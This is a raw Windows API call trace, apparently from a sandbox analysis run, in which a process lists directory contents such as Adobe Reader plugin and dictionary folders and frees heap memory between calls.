	[0175.462] FindNextFileW (in: hFindFile=0x394bb38, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389535d8, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaslPrep", cAlternateFileName="")) returned 1
	[0175.464] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0175.464] FindNextFileW (in: hFindFile=0x394bb38, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TypeSupport", cAlternateFileName="TYPESU~1")) returned 1
	[0175.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0175.465] FindNextFileW (in: hFindFile=0x394bab8, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3406a41d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340dcb4c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340dcb4c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mappings", cAlternateFileName="")) returned 1
	[0175.466] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0175.466] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3406a41d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdeb7fa81, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdeb7fa81, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Mac", cAlternateFileName="")) returned 1
	[0175.482] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0175.482] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340dcb4c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdebf2192, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdebf2192, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="win", cAlternateFileName="")) returned 1
	[0175.486] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0175.486] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340dcb4c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdebf2192, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdebf2192, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="win", cAlternateFileName="")) returned 0
	[0175.486] FindClose (in: hFindFile=0x394b9b8 | out: hFindFile=0x394b9b8) returned 1
	[0175.486] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0175.486] FindNextFileW (in: hFindFile=0x394bab8, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3406a41d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340dcb4c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340dcb4c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mappings", cAlternateFileName="")) returned 0
	[0175.486] FindClose (in: hFindFile=0x394bab8 | out: hFindFile=0x394bab8) returned 1
	[0175.486] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45b4050 | out: hHeap=0x4f0000) returned 1
	[0175.486] FindNextFileW (in: hFindFile=0x394b778, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3406a41d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3406a41d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Unicode", cAlternateFileName="")) returned 0
	[0175.486] FindClose (in: hFindFile=0x394b778 | out: hFindFile=0x394b778) returned 1
	[0175.486] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0175.488] FindNextFileW (in: hFindFile=0x394bb38, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TypeSupport", cAlternateFileName="TYPESU~1")) returned 0
	[0175.488] FindClose (in: hFindFile=0x394bb38 | out: hFindFile=0x394bb38) returned 1
	[0175.488] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0175.488] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cd6ac1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cd6ac1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cd6ac1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup Files", cAlternateFileName="SETUPF~1")) returned 1
	[0175.489] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0175.489] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cd6ac1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cd6ac1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cfcd37, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{AC76BA86-7AD7-1033-7B44-AC0F074E4100}", cAlternateFileName="{AC76B~1")) returned 0
	[0175.489] FindClose (in: hFindFile=0x394b4f8 | out: hFindFile=0x394b4f8) returned 1
	[0175.489] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0175.489] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cd6ac1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cd6ac1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cd6ac1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup Files", cAlternateFileName="SETUPF~1")) returned 0
	[0175.489] FindClose (in: hFindFile=0x5dd240 | out: hFindFile=0x5dd240) returned 1
	[0175.489] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0175.491] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x676621c0, ftCreationTime.dwHighDateTime=0x1d4c109, ftLastAccessTime.dwLowDateTime=0xeb2bb440, ftLastAccessTime.dwHighDateTime=0x1d50437, ftLastWriteTime.dwLowDateTime=0xeb2bb440, ftLastWriteTime.dwHighDateTime=0x1d50437, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="minority-weird-increases.exe", cAlternateFileName="MINORI~1.EXE")) returned 1
	[0175.491] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0175.491] FindNextFileW (in: hFindFile=0x5dd0c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x552bd6b8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x552bd6b8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1
	[0175.496] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0175.496] FindNextFileW (in: hFindFile=0x394baf8, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33bf1c6c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xbb3faac8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xde8f7271, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActiveX", cAlternateFileName="")) returned 0
	[0175.496] FindClose (in: hFindFile=0x394baf8 | out: hFindFile=0x394baf8) returned 1
	[0175.496] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0175.496] FindNextFileW (in: hFindFile=0x394bc78, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33e07dd6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33e07dd6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33e07dd6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ARM", cAlternateFileName="")) returned 1
	[0175.501] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0175.501] FindNextFileW (in: hFindFile=0x394b978, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82ac63e5, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0xa87217e, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xa87217e, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Cache", cAlternateFileName="")) returned 0
	[0175.501] FindClose (in: hFindFile=0x394b978 | out: hFindFile=0x394b978) returned 1
	[0175.501] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0175.501] FindNextFileW (in: hFindFile=0x394b8b8, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x33e07dd6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x31d47305, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x31d47305, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0", cAlternateFileName="")) returned 0
	[0175.501] FindClose (in: hFindFile=0x394b8b8 | out: hFindFile=0x394b8b8) returned 1
	[0175.501] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0175.501] FindNextFileW (in: hFindFile=0x394bc78, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3420de7a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3420de7a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3420de7a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HelpCfg", cAlternateFileName="")) returned 1
	[0175.502] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0175.502] FindNextFileW (in: hFindFile=0x394b6f8, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3420de7a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3420de7a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3420de7a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 0
	[0175.502] FindClose (in: hFindFile=0x394b6f8 | out: hFindFile=0x394b6f8) returned 1
	[0175.502] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0175.502] FindNextFileW (in: hFindFile=0x394bc78, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ea075c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ea075c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Reader", cAlternateFileName="")) returned 1
	[0175.510] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0175.510] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f3911d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f3911d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Providers", cAlternateFileName="PROVID~1")) returned 1
	[0175.511] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0175.511] FindNextFileW (in: hFindFile=0x394b538, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ea075c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ea075c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Plugins2", cAlternateFileName="")) returned 1
	[0175.786] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0175.786] FindNextFileW (in: hFindFile=0x394bc38, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f5f358, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f5f358, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_GB", cAlternateFileName="")) returned 1
	[0175.786] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0175.786] FindNextFileW (in: hFindFile=0x394bc38, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f5f358, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f5f358, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 1
	[0175.786] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0175.786] FindNextFileW (in: hFindFile=0x394bc38, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f5f358, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f5f358, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 0
	[0175.786] FindClose (in: hFindFile=0x394bc38 | out: hFindFile=0x394bc38) returned 1
	[0175.787] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0175.787] FindNextFileW (in: hFindFile=0x394ba38, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33ec69cf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1e00a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AdobeHunspellPlugin.dll", cAlternateFileName="ADOBEH~1.DLL")) returned 1
	[0175.789] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0175.789] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f855c1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33fd1a84, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33fd1a84, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_GB", cAlternateFileName="")) returned 1
	[0175.792] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0175.792] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33fd1a84, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ff7cf7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ff7cf7, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 1
	[0175.792] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0175.792] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33fd1a84, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ff7cf7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ff7cf7, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 0
	[0175.792] FindClose (in: hFindFile=0x394ba78 | out: hFindFile=0x394ba78) returned 1
	[0175.792] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0175.792] FindNextFileW (in: hFindFile=0x394ba38, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb637df00, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f12e85, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb637df00, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Dummy.aff", cAlternateFileName="")) returned 1
	[0175.982] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0175.982] FindNextFileW (in: hFindFile=0x394b838, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3401df50, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3401df50, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3401df50, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_GB", cAlternateFileName="")) returned 1
	[0175.982] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0175.982] FindNextFileW (in: hFindFile=0x394b838, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 1
	[0175.983] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0175.983] FindNextFileW (in: hFindFile=0x394b838, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 0
	[0175.983] FindClose (in: hFindFile=0x394b838 | out: hFindFile=0x394b838) returned 1
	[0175.983] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0175.984] FindNextFileW (in: hFindFile=0x394ba38, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3401df50, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SupplementalDictionaries", cAlternateFileName="SUPPLE~1")) returned 0
	[0175.984] FindClose (in: hFindFile=0x394ba38 | out: hFindFile=0x394ba38) returned 1
	[0175.984] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0175.984] FindNextFileW (in: hFindFile=0x394b638, lpFindFileData=0x2fbe918 | out: lpFindFileData=0x2fbe918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3401df50, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3401df50, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeHunspellPlugin", cAlternateFileName="ADOBEH~1")) returned 0
	[0175.984] FindClose (in: hFindFile=0x394b638 | out: hFindFile=0x394b638) returned 1
	[0175.984] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0175.986] FindNextFileW (in: hFindFile=0x394b538, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ea075c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ea075c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Plugins2", cAlternateFileName="")) returned 0
